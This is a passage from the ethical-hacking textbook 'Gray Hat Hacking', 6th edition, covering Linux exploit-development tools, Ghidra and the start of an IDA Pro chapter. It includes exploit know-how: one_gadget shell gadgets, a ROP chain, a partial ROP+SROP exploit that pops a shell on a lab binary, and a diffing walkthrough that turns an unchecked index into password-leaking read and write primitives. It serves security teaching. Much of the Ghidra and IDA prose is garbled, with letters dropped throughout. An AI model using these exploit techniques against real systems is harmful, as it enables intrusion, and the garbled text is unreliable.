then run checksec:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ gcc hello.c -Wl,-z,relro,-z,now -O2 -D_FORTIFY_SOURCE=2 -s \
-fstack-protector-all -o hello-stronger
└─$ checksec --file=./hello-stronger
[*] '/home/kali/GHHv6/ch03/hello-stronger'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Chapter 3: Linux Exploit Development Tools
61
PART I
Sometimes you manage to find and exploit an information leak vulnerability, but it is
impossible to calculate the offset to the libc base or other functions unless you know the
libc version being used on the remote host. The libc-database downloads a list of config-
ured libc versions, extracts the symbol offsets, and allows you to query the function name
and leaked address in order to identify the libc version being used.
In cases where you don’t have your local database available, there is also a hosted web
wrapper4 at https://libc.blukat.me that allows you to query the libc-database without
having to install/configure it locally (see Figure 3-1).
The patchelf command-line utility allows us to modify the libraries of an ELF execut-
able. It is very useful when we are doing heap analysis on a different libc version than the
one being used by the remote system, or when we don’t have access to the source code
and want to run multiple libc versions on the same system. You could get patchelf from
its GitHub repo5 or simply install it using sudo apt install patchelf.
In this lab we’ll patch the hello binary to use an interpreter and libc version copied to
the /home/kali/GHHv6/ch03/lib directory:
1. We first create the lib folder and copy the system’s ld-linux.so and libc:
┌──(kali kali)-[~]
└─$ cd /home/kali/GHHv6/ch03 &&
mkdir lib &&
cp /lib64/ld-linux-x86-64.so.2 lib/my-ld.so &&
cp /lib/x86_64-linux-gnu/libc-2.31.so lib &&
ln -s libc-2.31.so lib/libc.so.6
2. Now we can patch the hello binary and confirm that the changes were made
successfully and that our program runs:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ patchelf --set-interpreter ./lib/my-ld.so --set-rpath ./lib hello
┌──(kali kali)-[~/GHHv6/ch03]
└─$ ldd hello
linux-vdso.so.1 (0x00007ffc685d0000)
libc.so.6 => ./lib/libc.so.6 (0x00007f4b18146000)
./lib/my-ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007f4b18313000)
┌──(kali kali)-[~/GHHv6/ch03]
└─$ ./hello
Gray Hat Hacking - 6th Edition
One_gadgets are found in libc and provide a simple way of getting a shell by jumping to
a single gadget to execute execve("/bin/sh", NULL, NULL).
We can find these magical gadgets in one of two ways: by manually using strings and
objdump or by using the one_gadget tool.
PART I
┌──(kali kali)-[~/GHHv6/ch03]
└─$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 |grep -C8 18a156
...
cbd1a: 4c 89 ea mov rdx,r13
cbd1d: 4c 89 e6 mov rsi,r12
cbd20: 48 8d 3d 2f e4 0b 00 lea rdi,[rip+0xbe42f] # 18a156 <...
cbd27: e8 94 f9 ff ff call cb6c0 <execve@@GLIBC_2.2.5>
...
The only constraint here is that, at the moment of execution, r12 and r13 must be
equal to NULL. This way, the rdi, rsi, and rdx registers will contain the values /bin/sh,
NULL, NULL, respectively.
Ropper is a useful tool for generating ROP chains and finding code reuse gadgets. It
is capable of loading ELF, PE, and Mach-O binary file formats, and it supports mul-
tiple architectures (x86, x86_64, MIPS, MIPS64, ARM/Thumb, ARM64, PowerPC,
and Sparc) using the Capstone7 disassembly framework. To install Ropper, use sudo apt
install ropper.
Gray Hat Hacking: The Ethical Hacker’s Handbook
64
One of its most interesting features is the ability to search for gadgets based on con-
straints and file format conditions. Let’s create a ROP chain that calls mprotect() to
enable executable permission on an arbitrary address:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ ropper --file hello --chain 'mprotect address=0xdeadbabe size=0x1000'
We can also use semantic search to find a gadget that increases the stack pointer
16 bytes, avoiding clobbering the R15 and RDI registers: ropper --file <binary-file>
--semantic ‘rsp+=16 !r15 !rdi’. In order to use this feature, you must install pyvex and
z3 following the instructions on the project’s GitHub page.8
As you can see, this saves a lot of time and effort, and it brings many other interesting
features—from jump-oriented programming (JOP) to stack pivoting. For more informa-
tion about Ropper and its functionalities, visit the project’s GitHub page.
1. Gef 9GDB enhanced features for exploit developers and reverse engineers
2. Pwndbg10 Exploit development and reverse engineering with GDB Made Easy
3. PEDA11 Python Exploit Development Assistance for GDB
PART I
┌──(kali kali)-[~]
└─$ sudo apt-get update
└─$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev \
libffi-dev build-essential
└─$ sudo python3 -m pip install --upgrade pip
└─$ sudo python3 -m pip install --upgrade pwntools
Summary of Features
Let’s open our Python terminal, import the pwn module and explore some of the power-
ful features of Pwntools:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ python3
>>> from pwn import *
#Packing and Unpacking strings
>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p64(0xdeadbeefdeadbeef, endian='big')
b'\xde\xad\xbe\xef\xde\xad\xbe\xef'
>>> hex(u64('\xef\xbe\xad\xde\xef\xbe\xad\xde'))
'0xdeadbeefdeadbeef'
#Assemble and Disassemble code
>>> asm('nop')
b'\x90'
>>> print(disasm(b'\x8b\x45\xfc'))
0: 8b 45 fc mov eax, DWORD PTR [ebp-0x4]
#ELF symbol resolver
>>> ELF("/lib/x86_64-linux-gnu/libc.so.6")
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Other features include functions to assist with common exploitation primitives and
techniques, such as building ROP chains, shellcodes and SROP structures, dynamic
memory leak helpers, format string exploitation, cyclic pattern generation, and more.
In Lab 3-11, we develop a two-stage exploit that bypasses ASLR, PIE, and NX using
a ROP + SROP payload.
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
p = process("./leak-bof")
rop = ROP(libc)
l = log.progress("Stage 2: pop a shell with ROP + SROP payload")
rop.raw(rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(rop.syscall.address)
A smaller and simpler exploit could be used here, but we’ll purposely use a slightly
more complicated exploit in order to showcase the possibilities. This is the result:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ python3 leak-bof-exploit.py
[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Chapter 3: Linux Exploit Development Tools
67
[+] Starting local process './leak-bof': pid 3900
[+] Stage 1: leak printf and calculate libc's base address: 0x7f120d489000
[*] Loading gadgets for '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
PART I
[+] Stage 2: pop a shell with ROP + SROP payload: Enjoy!
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo)...
Installing HeapME
Before seeing HeapME in action, let’s begin by installing and configuring gdb and the
modified Gef fork13 with the HeapME plug-in. If gdb isn’t installed (dpkg -l gdb), install
it using sudo apt install gdb.
┌──(kali kali)-[~]
└─$ git clone https://github.com/htejeda/gef.git &&
pip install -r gef/requirements.txt &&
echo "source ~/gef/gef.py\nsource ~/gef/scripts/heapme.py" > ~/.gdbinit
┌──(kali kali)-[~]
└─$ gdb
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
...
gef➤ help heapme
Heap Made Easy
...
heapme init -- Connect to the HeapMe URL and begins tracking dynamic
heap allocation
heapme push -- Uploads all events to the HeapME URL
heapme watch -- Updates the heap layout when this breakpoint is hit
Type "help heapme" followed by heapme subcommand name for full documentation.
gef➤
Gray Hat Hacking: The Ethical Hacker’s Handbook
68
Now follow the steps in Lab 3-12.
void *x[8];
int main() {
for (int i=0; i < 8; i++) {
x[i] = malloc(0x38);
memset(x[i], (i + 0x30), 0x38);
}
Next, execute the following steps (which include references to the code that follows)
to see HeapME in action:
PART I
with Gef ’s heap commands (heap bins, heap chunks, and so on).
┌──(kali kali)-[~/GHHv6/ch03]
└─$ ➊ gdb ./heapme_demo
gef➤ ➋ start
gef➤ ➌ heap-analysis-helper
gef➤ ➍ heapme init https://heapme.f2tc.com/ 60281a00e8b485001a485db5
17074900...
_ _ __ __ _____
| | | | ___ __ _ _ __ | \/ | ____|
| |_| |/ _ \/ _` | '_ \| |\/| | _|
| _ | __/ (_| | |_) | | | | |___
|_| |_|\___|\__,_| .__/|_| |_|_____|
|_|
[+] HeapME: connected to https://heapme.f2tc.com/
gef➤ ➎ heapme watch malloc
Breakpoint 1 at 0x7ffff7e7a0f0: malloc. (2 locations)
[+] HeapMe will update the heap chunks when the malloc breakpoint is hit
gef➤ ➏ heapme watch free
Breakpoint 2 at 0x7ffff7e7a720: free. (2 locations)
[+] HeapMe will update the heap chunks when the free breakpoint is hit
gef➤ ➐ continue
Continuing.
[+] Heap-Analysis - __libc_malloc(56)=0x5555555592a0
...
Press CTRL+C to exit.
References
1. Dmitry Levin, “Modern strace,” Open Source Summit Europe, 2018, https://
events19.linuxfoundation.org/wp-content/uploads/2017/12/Modern-Strace-
Dmitry-Levin-BaseALT.pdf
2. checksec, http://github.com/slimm609/checksec.sh.
3. libc-database GitHub, https://github.com/niklasb/libc-database.
4. libc-database web wrapper, https://libc.blukat.me.
5. patchelf, https://github.com/NixOS/patchelf.
6. one_gadget, https://github.com/david942j/one_gadget.
7. Capstone: The Ultimate Disassembler, www.capstone-engine.org.
8. Ropper, https://github.com/sashs/Ropper.
9. Gef, https://gef.readthedocs.io/en/master/.
10. Pwndbg, https://github.com/pwndbg/pwndbg.
11. PEDA, https://github.com/longld/peda.
12. Heap Made Easy (HeapME), https://heapme.f2tc.com/.
13. HeapME Gef fork, https://github.com/htejeda/gef.
Introduction to Ghidra
CHAPTER
4
In this chapter, we cover the following topics:
• Ghidra installation and a quick start, along with a simple project setup
• An overview of Ghidra’s most essential functionality
• Annotations to achieve improved reversed code’s readability and understanding
• Practical walkthrough binary diffing and patch analysis
Gda a Sowae Revee Eee (SRE) ue o oo deveoped ad maaed
by e Naoa Seuy Aey’ Reea Deoae uppo o ybeeuy
mo. Gda wa made puby avaabe ad ope oued aoud Ma o Ap
o 209 bu a bee bae-eed pvaey by e aey. I a be ued o mawae
aay, vueaby eea, expo deveopme, a we a may oe embedded
yem ad mwae evee eee ak.
Gda uppo a vaey o aeue, paom, ad bay oma, povd
a vey ee e o eaue. Ao, ommuy apdy ow, a Gda a
povded a exee ope oue ad ee-o-o aeave o oe ea oo u
a IDA Po.
Now a we ave ou ae poam eady, we a eae a poje o wok w
em ad wak ou Gda’ eaue ad uoay.
71
Gray Hat Hacking: The Ethical Hacker’s Handbook
72
Installation and QuickStart
Le’ a by a e Java ume depedey o Gda a deau Ka yem:
┌──(kali kali)-[~]
└─$ sudo apt-get update && sudo apt-get install -y openjdk-11-jdk
Nex, dowoad e Gda eeae v9.2.3 pakae om e oa Gda webe
(p://da-e.o) ad exa o you ome deoy:
└─$ unzip ghidra_9.2.3_PUBLIC_20210325.zip -d ~
Oe you’e doe w e a, ee e da_9.2.3_PUBLIC deoy ad u
u ./ghidraRun, ke o:
└─$ cd ~/ghidra_9.2.3_PUBLIC && ./ghidraRun
T oud au Gda o e me ad pomp you w e ed-ue aeeme.
Functionality Overview
Aou Gda oe a o o eaue ad uoay, we w oy ou o e mo
ba ad beea eaue o mpy’ ake.
Project Window
Te poje wdow e ma wdow avaabe o you ae Gda oad; povde
poje maaeme eaue, e ave poje’ ae e, oo e, ad a ovea
wokpae deo.
Le’ eae ou poje ad a wok w e pevouy omped ae e.
Lau Gda, you ave’ aeady, ad e oow ee ep:
1. Ceae a ew poje by k Fe | New o by pe ctrl-n. We w e
poje o pvae (a , a o-aed poje) a we a e e poje’ ame
ad e ode wee w be oaed.
2. Iude e ude ad ude-paed bay e e poje by k
Fe | Impo o by pe i o ea oe. T w dee e e oma ad
auae o e bay e (ELF omped w x86:LE:64:deau:,
ae), a ow ex.
Chapter 4: Introduction to Ghidra
73
PART I
3. Ck e OK buo. A mpo eu ummay w be ow w e e’
meadaa ad eade popee.
4. Doube-k e ude ae e o au e Code Bowe ad a
e aay.
Analysis
A oo a Gda oad e poam, ue aayz e poam a’ aeady
bee doe beoe:
Gray Hat Hacking: The Ethical Hacker’s Handbook
74
Te aayze peom may ak, bu e mo oabe oe ae ow ee ad
debed ex:
(1) User Disassembles Code
(new code)
Code Browser
Te Code Bowe povde a uve ue eae o Gda’ oe uoay
ad avao. Mo o you me pe wok w Gda w be vew, a
a meu ad ooba o e mo ommo ak. Te deau ayou ow
Fue 4- ad debed ex.
❶ Main menu A e ma opo ae avaabe om meu.
❷ Toolbar Hee you w d a oup o o buo you a ue a ou
o ommo uoay.
❸ Program Trees T povde ee o a e memoy eme deed
by e bay ad w vay deped o e bay oma ad oade.
Chapter 4: Introduction to Ghidra
75
File Edit Analysis Graph Navigation Search Select Tools Window Help 1
PART I
2
Symbol Tree 6 7
Data Type
Console - Scripting
5
8
❹ Symbol Tree Hee you a quky avae ou a e ymbo deed
by e debu omao o eoved by e a aay. Tee ymbo
ae epaaed by ype: mpo, expo, uo, abe, ae, ad amepae.
❺ Data Type Manager Bu-, ee, bay-povded, ad ue-deed
daa ype w be avaabe ee. You a eay avae o opeao o vaue
ad eeee by e daa ype.
❻ Listing Te poam’ ode daemby ad daa eeee ae ed ee.
You a eay expoe poam o, eeee, ad adde oe. Spea
omme ad amed vaue eeaed by e Gda oade ad aayze ae
dpayed ee a we.
❼ Decompile T wdow dpay a C auae epeeao o e uo
eeed o e L wdow. T deompao eae e poe o aayz
ae ad ompex aemby ode bok.
❽ Console – Scripting Reu ad oupu om p ad pu- ae
ow ee.
I you o o Poam Tee ad doube-k e .ex memoy eme, e L
wdow w o o e a o e poam’ exeuabe ode ad povde daemby
ode eed w eam ad omme podued by e pevou aay. I ao
a uve omao o expo ad udead e ode, u a adde-
, uo byeode, ommeed daa opead, abe, odoa ba ow
omao, ad o-eeee.
Gray Hat Hacking: The Ethical Hacker’s Handbook
76
I e Symbo Tee, o o e Fe ex pu ad ype LoadStudents o ea o
uo. Ck o vew e uo e L wdow:
Te L wdow a a eed vew o e daembed poam ode:
❶ Te L ooba povde quk ae o opy ad pae uo, oop
pevew, ed edo, d vew o poam ompao, apo,
ad o ma dpay. You a k Ed e L Fed buo e
ooba o uomze e deau L ayou.
❷ Comme make keep ak o you wok eae. Tey ae omeme
povded by e aay o dee ymbo’ vaue ad opead, bu you
a add you ow by pe ; (emoo) o -k e eeed
adde ad o o e Comme pop-up meu.
❸ Fow aow ow you e deao o odoa ad uodoa jump.
Chapter 4: Introduction to Ghidra
77
❹ Co-eeee k povde omao o wee e poam vaue
ae be ead ad we, ad wee uo ae be aed o eeeed.
PART I
Doube-k ee k w ake e L vew o e eeed adde.
You a ao d eeee o ay adde o ymbo by pe ctrl-shift-f.
❺ Memoy Adde ow e aboue ume eeee o ay ode o vaue
you ae vew e L wdow. You a avae o ay abay adde
w e ope e by pe g.
❻ Code Bye a exadema eoded bay epeeao o e ue
uo.
❼ Daemby ode wee you d e daembed ad aayzed uo
w e memo ad opead. You a pa ad ae ee uo
by pe ctrl-shift-g.
❽ Te Eopy Leed ad Ovevew Leed deba ep you quky pevew
ad avae dee pa o e poam by oo od ayae e
bay vaae ad eod eopy ad by povd bok abeed Fuo,
Uazed, Exea Reeee, Iuo, Daa, ad Udeed. You a vew
a oo-oded eeee by -k e deba ad k Sow Leed.
Search
Gda povde ea uoay a eabe you o ea o pe bay
pae, ex poam ode, ymbo, uo ame, omme, ad moe. Ao,
oe a ma ea o pe uo pae, aa, ad (eade
o e eod). We w expoe ome o ee uo e ad-o exee
a e ed o e ape.
Gray Hat Hacking: The Ethical Hacker’s Handbook
78
Decompiler
Te Deompe eaue povde a C auae epeeao o e daembed ode,
a ow ee:
Aou omped bay ode ao be bou bak o oue, e deompe
povde a ood eouo o e o expeed by e poam’ ode. T eaue
vey ueu o bee a we a eaoed evee eee beaue edue om-
pexy ad mpove e eadaby o e poam.
Program Annotations
Aoao ep you mpove eadaby, povde aao, ad keep ak o e wok
doe o a eveed poam. Aoao ao ae e eu deompe oupu.
Gda povde may ype o aoao. Hee ae ome o e mo mpoa oe:
• You a ue pea aoao omme a oma . Tee ae
e eu oupu, pey vaue a addee, ymbo, URL, ad
oe oma.
• Vaabe aoao aow you o ae a vaabe’ ymbo ame, daa ype,
ad oae oao.
• Labe eam aow a abe ad eed ame o moe pe oe
o bee udead o e ode.
• Fuo aoao a be ued o ae a uo’ ame, aue, a
oveo, ad eu vaue daa ype.
Graphs
Gda povde poweu ap-eea eaue. Someme exeuo ow ad o-
doa a beome mey, ad wou ap, udead ome ode m eem
a mpobe ak. Gap o o vee (o bok) ad ede (o oo ow), ad
ey a ep you udead e ba, oo ow, oop, eeee, ad eve e
oeao bewee uo ad abe e poam.
Chapter 4: Introduction to Ghidra
79
Tee ae wo ype o ap:
PART I
• Flow graphs Dpay e ow (a-ou ad uodoa jump) bewee
eeed bok o ode.
• Call graphs Dpay e equee o a bewee uo.
You a eeae a ap o e eeed ode o uo by o o e Gap
meu ad ee e deed ap. Te Gap meu povde e oow oo:
1. Toolbar Aow quk ae o e ad ee e dpay o ap ad
oe opo.
2. Graph view A bok (vee) ad ow (ede) ae dpayed ee o eay
avao, oup, ad peo. You a pa by da e moue, ad
you a zoom ad ou w e moue o wee o akpad.
3. Satellite view Hep you quky avae ou e ap by ow a ma
map o a aped bok.
Gray Hat Hacking: The Ethical Hacker’s Handbook
80
You a ao expo ap o may ap ad daa oma, u a CSV, DOT,
GML, JSON, Vo, ad oe.
Fo bee, a vey ua ad umbeome pa o evee eee o av-
a ea dea o wa vaou paamee ad daa vaue mea. T ak o oex o
dee ee vaue e, memoy oe, poe eeee, ad uo au-
me a be oveome w pope ue o daa ype.
A you m aeady kow, e ume o ompue aeue ao o
daa ype, w ae oy eeva o e owae deveope du poamm me
ad ae ued by e ompe o oey a memoy aoao, uue membe
oe, aay dexe, ad oe e du ompe me.
I we ompae e oa ode w e deau deompe vew o e LoadStudents
uo, ow ex, we m o d e deompe eaue a ueu a a be.
We w poeed o mpove e students poam eadaby by a daa ype o
vaue e ma uo.
Te oue ode ow a for oop eme a oue vaabe by o ea
eao a’ ued a a dex o e students oba vaabe, w a aay o
ou deed ype Student. Po o aoao, e deomped C epeeao o e
oepod aemby ode w ow e dex oue vaabe muped by 0x20
(w e ze o e Student daa). Ao, ve a e deompe uawae o
e daa ype o ea vaabe, evey vaue eeee w be ype-aed, u ompa-
oue ode eadaby eve moe.
Chapter 4: Introduction to Ghidra
81
We a eay mpove eadaby by e vaabe w e oe daa ype
aoao ad eam e vaabe. Le’ peed we do’ ave e oue ode o
PART I
a we a expeee e mo ommo eao expeed du ea evee eee-
. Foow ee ep:
1. Go o e LoadStudents uo by ea o e Symbo Tee vew, ad
e o o e Deompe wdow o make ome aoao. We w ae
vaabe ame, daa ype, ad uo aue baed o e opeao ad
uo ey ae eaed o e ode.
2. Baed o e way e vaabe deeeeed ad be e a oe o 32 (0x20)
muped by count dex vaabe, we kow a aay. Some vaue ea e
oe ae be e, a ow ex:
• O e 25, a ee vaue deeeeed a 24 (0x8) bye om e oe
(count * 32), o ’ ae o aume a poe o a ee vaue (int *).
Te ame oud be “d,” a be e om e oue dex vaabe.
• O e 26, e strncpy uo opy a oepod o e
ude’ ame ead om e CSV e o e bae oe (count * 32), o ’
a aae aay o ukow ze. Howeve, we a ue ’ 24 bye beaue
’ wee e pevou vaue oe , ad oud’ ovewe a membe o
ow uue (char [24]). We’ a uue membe “ame.”
• O e 28, e iVar1 be e om e atoi uo aed o e ade
vaue e CSV, w eu a ee, ad e e a oe 0x
om e bae oe (count * 32). Teeoe, e’ aume a ee a
we. T e ude’ uue “ade” membe.
3. Now we a dee ou uom Sude uue daa ype o e eeme e
ude aay. Go o e Daa Type Maae wdow, -k e “ude”
poam daa ype, ee e New ubmeu ad k e “uue” em.
a. Name e uue Student ad e ze o 32 bye.
b. Go o e ow o e abe (oe 0), doube-k e DaaType ed,
ad ype char[24]. Te doube-k e Name ed ad ype name.
c. I e eod ow (oe 24), e e DaaType ed o int ad e e Name
ed o id.
d. Repea e ame o e d ow (oe 28) ad e e Name ed
o grades.
e. I you Suue Edo wdow ook ke e oe Fue 4-2, k e
Save o ad oe e wdow. Te uue ow eady o be ued.
Gray Hat Hacking: The Ethical Hacker’s Handbook
82
4. Pae e uo ove ay ae o e students oba vaabe ad pe ctrl-l
o ae daa ype om undefined[1024] o Student[32] (ou u a a
ze o 32, ad 024 dvded by 32 equa 32).
5. Cae e e o e vaabe ad uo baed o e oex. Fo ae,
e local_20 vaabe be e a e eu o a fopen uo; eeoe,
oud be e a a FILE * daa ype, ad ame oud be ome ke fh.
a. Pe ctrl-l o ae ype o FILE *.
b. See e vaabe ame ad pe l, o -k ad e ee Reame
Vaabe o ae e vaabe ame o fh.
c. To avod a e a o fopen, -k e uo, k Ed Fuo
Saue, ad, eeded, ae e uo aue o e oe a
aume ad eu daa ype.
I you ae uue abou e aue o adad uo, ue e poamme’
maua by u man 3 fopen a ema wdow.
Chapter 4: Introduction to Ghidra
83
Ae ompe poe, you oud oe a e eadaby o bo e
deomped ad daembed ode eay mpoved, a ow ex. Ao, evey
PART I
oe uo eee e aoaed vaabe, uo, ad daa ype w bee
om eo.
We vueabe ae doveed ad epoed, vedo poeed o pa e pod-
u ad pub e updae. Someme e updae’ ae o med dea
ead e paed bu, ad ode o udead e ae ad deveop expo,
bay d beome eeay.
T ab w wak you ou e poe o dove a vueaby ae e
ude ade maaeme oo by mea o bay d. Te vueaby oud
be eay eou o po by mpy pe e ode, bu, aa, we w peed we oy
ave ae o e bay e o bee muae a ea-wod eao.
Setup
Gda povde a ode deee eaue a eabe you o ompae e deee
bewee wo bae w e ame adde ayou ad poo. T ueu o bay
paed ompao w a oe-o-oe oe oeao, bu doe’ oeae ode
em o oex ad exeuo ow.
Fouaey, we a exed Gda’ apabe by a pu- u a
BDHepe o e exee BD oo. To do o, oow ee ep:
1. Ia e Gade bud auomao oo, veo 6.5, by u e oow
ommad:
┌──(kali kali)-[~]
└─$ wget https://services.gradle.org/distributions/gradle-6.5-milestone-2-bin.zip
&& sudo unzip gradle-6.5-milestone-2-bin.zip -d /opt
Gray Hat Hacking: The Ethical Hacker’s Handbook
84
2. Coe ad ompe e BExpo2 pu- om e oa epooy. T pu-
auomae e BExpo deee daabae-eeao poe:
┌──(kali kali)-[~]
└─$ git clone --single --depth=1 --branch=master \
https://github.com/google/binexport ~/binexport &&
cd ~/binexport/java/BinExport &&
/opt/gradle-6.5-milestone-2/bin/gradle \
-PGHIDRA_INSTALL_DIR=~/ghidra_9.2.3_PUBLIC
Te ompe poe oud ake a ew mue. Oe doe, a BExpo pu-
ZIP e oud ave bee eaed de e ~/bexpo/java/BExpo ode.
3. O Gda’ poje wdow, o o e Fe | Ia Exeo meu ad k e
pu (+) o o add e pu-’ ZIP e o e ~/bexpo/java/BExpo/
d ode, a ow ex:
4. Ck OK ad ea Gda o a e pu- ae ae apped.
5. I a ema wdow, dowoad ad a BD v6 om e oa e3:
┌──(kali kali)-[~]
└─$ wget https://storage.googleapis.com/bindiff-releases/bindiff_6_amd64.deb
└─$ sudo dpkg -i bindiff_6_amd64.deb || sudo apt-get install -f
Iaao o e .deb pakae w pomp you o e IDA Po pa. Leave
empy o pey we ae eeed e expemea Gda exeo.
6. Coe ad ompe e BDHepe pu- om e oa epooy:
└─$ cd ~/ && git clone --single --depth=1 --branch=master \
https://github.com/ubfx/BinDiffHelper &&
cd ~/BinDiffHelper &&
/opt/gradle-6.5-milestone-2/bin/gradle \
-PGHIDRA_INSTALL_DIR=~/ghidra_9.2.3_PUBLIC
7. O Gda’ poje wdow, o o e Fe | Ia Exeo meu ad add e
pu-’ Zp e o e ~/BDHepe/d/ ode, a ow ex.
Chapter 4: Introduction to Ghidra
85
PART I
8. Rea Gda o a pu- ae ae apped.
Binary Diffing
Now a e pu- ave bee aed, e’ oue e ab by expo e bay
d poe:
9. Ope e students-patched poam e. You w be pomped a ew
exeo ave bee deeed:
See Ye o oue e ew pu-, ad e ex wdow, k OK:
Gray Hat Hacking: The Ethical Hacker’s Handbook
86
10. Ru Auo-Aayze ad ave e poje.
11. Repea ep 9 ad 0, bu me w e students poam e.
12. Ope e Wdow/BDHepe pu- wdow. Ck e oue o o
e e oe BD 6 bay pa (/op/bd/b/bd ), a ow ex:
13. Ope e students-patched poam by k e “Ope a e o ompao”
o. You oud ow ee Smay ad Codee oe o ea uo. Go
o e ViewStudentGrades uo a e boom, ee e mpo ekbox,
ad k e “Impo Seeed Fuo” o.
Patch Analysis
Te oo a eveaed deee bewee e poam o e ViewStudentGrades
uo, a ow ex:
Chapter 4: Introduction to Ghidra
87
A quk peo o e deompao o bo veo’ uo evea ee wa
o bouday ek o e students aay dex we pa e ue’ pu w e
PART I
atoi uo. Ta mea we a ee ay pove o eave dex umbe, aow
u o ea ay 32-bye-aed adde a a Student daa uue.
Te “Cae ade” opo aow o a ude’ ade e oe pa-
wod e. I u ou a we a ue vueaby o ou avo. I we o o
Wdow | Symbo Tabe ad ea o e admin_password ymbo, we’ oe
oaed a oe 0x001040a0. Ta exay 64 bye beoe e students aay bae
adde (0x001040e0).
Wa woud appe we ue e “Vew ade” opo ad ee ude umbe -2?
A you a ee, ea admin_password’ memoy a a Student uue ype va-
abe w ed up av e pawod exay o e uue’ “ame” poo. We ave
oud a ead expoao pmve ad a ow ead 24 bye om ay 32-bye-aed
memoy vaue.
Bu a’ o a. Noe ow we oo e dex vaue ad ade membe vaue o
e students uue e ChangeStudentGrades uo. Ta mea we a we
4 bye a ay oao 28 bye om ay 32-bye-aed memoy adde.
Summary
I ape, we oveed ba Gda eaue ad uoay o e you aed,
eav e doo ope o you o expoe moe advaed op. We ooked a op
u a e Gda eae, mpov eadaby w aoao, ad ow o ue
Gda o bay d ad pa aay. Take e me o expoe oe poweu
ad advaed Gda eaue, u a auoma evee eee ak w Gda
p ad e ede pobe pu- yem aow.
Gray Hat Hacking: The Ethical Hacker’s Handbook
88
For Further Reading
Ghidra’s Embedded Help Pe f1 o k Hep o ay meu em o dao.
Ghidra’s Wiki da-e.o/CeaSee.m
Recon MTL 2019 (by ghidracadabra and emteere) ub.om/NaoaSeuyAey/
da/wk/e/eo209.pd
Black Hat USA 2019 (by Brian Knighton and Chris Delikat) ub.om/
NaoaSeuyAey/da/wk/e/baka209.pd
References
1. BDHepe, p://ub.om/ubx/BDHepe.
2. BExpo, p://ub.om/ooe/bexpo.
3. zyam BD, p://www.zyam.om/bd.m.
IDA Pro
CHAPTER
5
In this chapter, we cover the following topics:
• Introduction to IDA Pro for reverse engineering
• Navigating IDA Pro
• IDA Pro features and functionality
• Debugging with IDA Pro
The disassembe and debugge known as Ineaive Disassembe (IDA) Po is a feaue-
ih, eensibe, evese engineeing appiaion owned and mainained by he ompany
He-Rays in Begium. I is a ommeia podu wih aenaive vesions avaiabe suh
as IDA Home and IDA Fee. The IDA famiy of disassembes ae aivey mainained
wih a age numbe of feey avaiabe pug-ins and sips povided by He-Rays and
he use ommuniy. He-Rays aso offes he He-Rays Deompie, aguaby he bes
deompie avaiabe. Compaed o ohe disassembes, i is he mos maue, suppoing
he ages numbe of poesso ahieues and feaues.
89
Gray Hat Hacking: The Ethical Hacker’s Handbook
90
What Is Disassembly?
Fis, e’s ook a he a of disassembing mahine ode. This is oveed in diffeen
ways esewhee in he book, bu i is impoan o ensue you undesand he fundamen-
a pupose of a disassembe in eaion o his hape. Fo his eampe, we ae using
he ompied vesion of he myAtoi pogam povided o you in you ~/GHHv6/ch05
fode, having peviousy oned he Gay Ha Haking 6h Ediion Gi eposioy. Use
he objdump oo insaed ono Kai Linu wih he foowing opions o disassembe
he fis eigh ines of he main funion of he myAtoi pogam. The -j fag aows you
o speify he seion; in his ase, we ae hoosing he .text o “ode” segmen. The -d
fag is he opion fo disassembe. We ae gepping fo he sing “<main>:” and pining
eigh ines afe wih he -A8 fag.
┌──(kali kali)-[~]
└─$ objdump -M intel -j .text -d ./myAtoi | grep "<main>:" -A8
00000000000011ca <main>:❶
❷ ❸ ❹ ❺
11ca: 55 push rbp
11cb: 48 89 e5 mov rbp,rsp
11ce: 48 83 ec 20 sub rsp,0x20
11d2: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
11d9: 00 00
11db: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
11df: 31 c0 xor eax,eax
11e1: c7 45 f3 31 32 33 34 mov DWORD PTR [rbp-0xd],0x34333231
In he fis ine of oupu a ❶, we an see ha he main funion sas a he ea-
ive viua addess (RVA) offse of 0x00000000000011ca fom wihin he ovea binay
image. The fis ine of disassembed oupu in main sas wih he offse of 11ca as
seen a ❷, foowed by he mahine anguage opode 55, seen a ❸. To he igh of he
opode a ❹ is he oesponding disassembed insuion o mnemoni push, foowed
by he opeand rbp a ❺. This insuion woud esu in he addess o vaue soed in
he rbp egise being pushed ono he sak. The suessive ines of oupu eah povide
he same infomaion, aking he opodes and dispaying he oesponding disassemby.
This is an 86-64 bi Eeuabe and Linking Foma (ELF) binay. Had his pogam
been ompied fo a diffeen poesso, suh as ARM, he opodes and disassembed
insuions woud be diffeen, as eah poesso ahieue has is own insuion se.
The wo pimay mehods of disassemby ae inea sweep and eusive desen (aso
known as eusive avesa). The objdump oo is an eampe of a inea sweep disas-
sembe, whih sas a he beginning of he ode segmen, o speified sa addess,
disassembing eah opode in suession. Some ahieues have a vaiabe-engh
insuion se, suh as 86-64, and ohe ahieues have se size equiemens, suh
as MIPS, whee eah insuion is 4-byes wide. IDA is an eampe of a eusive desen
disassembe, whee mahine ode is disassembed ineay uni an insuion is eahed
ha is apabe of modifying he ono fow, suh as a ondiiona jump o banh. An
eampe of a ondiiona jump is he insuion jz, whih sands fo jump if zero. This
